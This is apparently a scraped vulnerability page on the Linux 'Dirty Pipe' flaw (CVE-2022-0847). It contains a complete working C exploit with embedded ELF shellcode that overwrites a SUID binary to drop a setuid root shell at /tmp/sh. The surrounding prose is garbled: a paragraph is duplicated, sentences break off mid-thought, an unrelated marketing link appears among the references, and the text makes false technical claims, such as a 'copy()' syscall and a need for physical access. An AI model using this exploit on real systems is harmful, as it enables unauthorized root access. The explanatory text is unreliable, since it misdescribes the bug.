A more serious issue caused by the lack of initialization of the "flags" member was discovered by Daniel Mach of the Red Hat Security Engineering team. If an attacker had virtual file system access to an unprivileged local user's system, they could use this flaw to escalate their privileges on the system.

Thanks to the kernel's policy of in-page data sharing, an unprivileged local user could in theory access any page in the kernel's page cache as if it were any other virtual memory mapping. However, to do so, they needed to obtain a copy of that page from outside of the page cache. For example, they might do this by using the VirtualBox graphical user interface or by accessing a virtual file system and side loading a program that has been patched to access arbitrary kernel memory locations.
Of course, obtaining such a copy of a page from outside of the page cache might raise suspicions. This is where the issue of lack of initialization of the "flags" member of the new pipe buffer structure comes in. In this scenario, an unprivileged local user could simply create a pipe with the "flags" set to 0 and let the copy() system call create a new pipe buffer with the "flags" set to 0. This would result in the new pipe buffer structure having an invalid "flags" member, thus allowing an unprivileged local user to read data from any page in the kernel's page cache as if it were any other virtual memory mapping. Once

References

- CVE-2022-0847
- Daniel Mach of the Red Hat Security Engineering team
6 Reasons Why Digital Marketing Is Important - https://www.seroundtable.com/digital-marketing-reasons-why-it-s-important-23764.html

User-Space Code Execution

An unprivileged local user can use this flaw to execute code in the kernel's address space. This could be achieved by mapping a file into their address space and executing it.
This flaw is not remotely exploitable, as it requires physical access to the system.

Overview of the Issue

The kernel does not perform any sanity checks on the "flags" member of a new pipe buffer during its initialization. As a result, an unprivileged local user could read arbitrary data from any page in the kernel's page cache as if it were any other virtual memory mapping.
The issue is triggered by lack of initialization of the "flags" member of a new pipe buffer during its initialization, when an unprivileged local user creates a new pipe with "flags" set to 0 and then executes copy() system call that creates a new pipe buffer with "flags" set to 0.
When the kernel copies data from one pipe buffer to another using copy() system call, it doesn't check if their respective "flags" members are initialized to zero. An unprivileged local user could create two pipes with flags set to 0 at the same time and use copy() system call to transfer data between them without raising suspicion.

The "flags" field of the new pipe buffer structure

A more serious issue caused by the lack of initialization of the "flags" member was discovered by Daniel Mach of the Red Hat Security Engineering team. If an attacker had virtual file system access to an unprivileged local user's system, they could use this flaw to escalate their privileges on the system.
Thanks to the kernel's policy of in-page data sharing, an unprivileged local user could in theory access any page in the kernel's page cache as if it were any other virtual memory mapping. However, to do so, they needed to obtain a copy of that page from outside of the page cache. For example, they might do this by using the VirtualBox graphical user interface or by accessing a virtual file system and side loading a program that has been patched to access arbitrary kernel memory locations.
Of course, obtaining such a copy of a page from outside of the page cache might raise suspicions. This is where the issue of lack of initialization of the "flags" member of the new pipe buffer structure comes in. In this scenario, an unprivileged local user could simply create a pipe with the "flags" set to 0 and let the copy() system call create a new pipe buffer with the "flags" set to 0. This would result in the new pipe buffer structure having an invalid "flags" member, thus allowing an unprivileged local user to read data from any page in the kernel's page cache as if it were any other virtual memory mapping. Once

The Linux Kernel's New Pipe Buffer Structure

The Linux Kernel's new pipe buffer structure is a mechanism that provides a mechanism to allocate, manage and release memory.
If an attacker has virtual file system access to an unprivileged local user's system, they could use this flaw to escalate their privileges on the system.

Exploit

// Exploit Title: Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe)
// Exploit Author: blasty (peter@haxx.in)
// Original Author: Max Kellermann (max.kellermann@ionos.com)
// CVE: CVE-2022-0847

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

// small (linux x86_64) ELF file matroshka doll that does;
//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
//   write(fd, elfcode, elfcode_len)
//   chmod("/tmp/sh", 04755)
//   close(fd);
//   exit(0);
//
// the dropped ELF simply does:
//   setuid(0);
//   setgid(0);
//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
	/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
	0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
	0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
	0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
	0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
	0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
	0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
	0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
	0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
	0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
	0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
	0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
	0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
	0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
	0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
	0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int hax(char *filename, long offset, uint8_t *data, size_t len) {
	/* open the input file and validate the specified offset */
	const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return -1;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return -1;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return -1;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return -1;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, len);
	if (nbytes < 0) {
		perror("write failed");
		return -1;
	}
	if ((size_t)nbytes < len) {
		fprintf(stderr, "short write\n");
		return -1;
	}

	close(fd);

	return 0;
}

int main(int argc, char **argv) {
	if (argc != 2) {
		fprintf(stderr, "Usage: %s SUID\n", argv[0]);
		return EXIT_FAILURE;
	}

	char *path = argv[1];
	uint8_t *data = elfcode;

	int fd = open(path, O_RDONLY);
	uint8_t *orig_bytes = malloc(sizeof(elfcode));
	lseek(fd, 1, SEEK_SET);
	read(fd, orig_bytes, sizeof(elfcode));
	close(fd);

	printf("[+] hijacking suid binary..\n");
	if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
		printf("[~] failed\n");
		return EXIT_FAILURE;
	}

	printf("[+] dropping suid shell..\n");
	system(path);

	printf("[+] restoring suid binary..\n");
	if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
		printf("[~] failed\n");
		return EXIT_FAILURE;
	}

	printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
	system("/tmp/sh");

	return EXIT_SUCCESS;
}

Timeline

Published on: 03/10/2022 17:44:00 UTC
Last modified on: 08/10/2022 20:15:00 UTC

References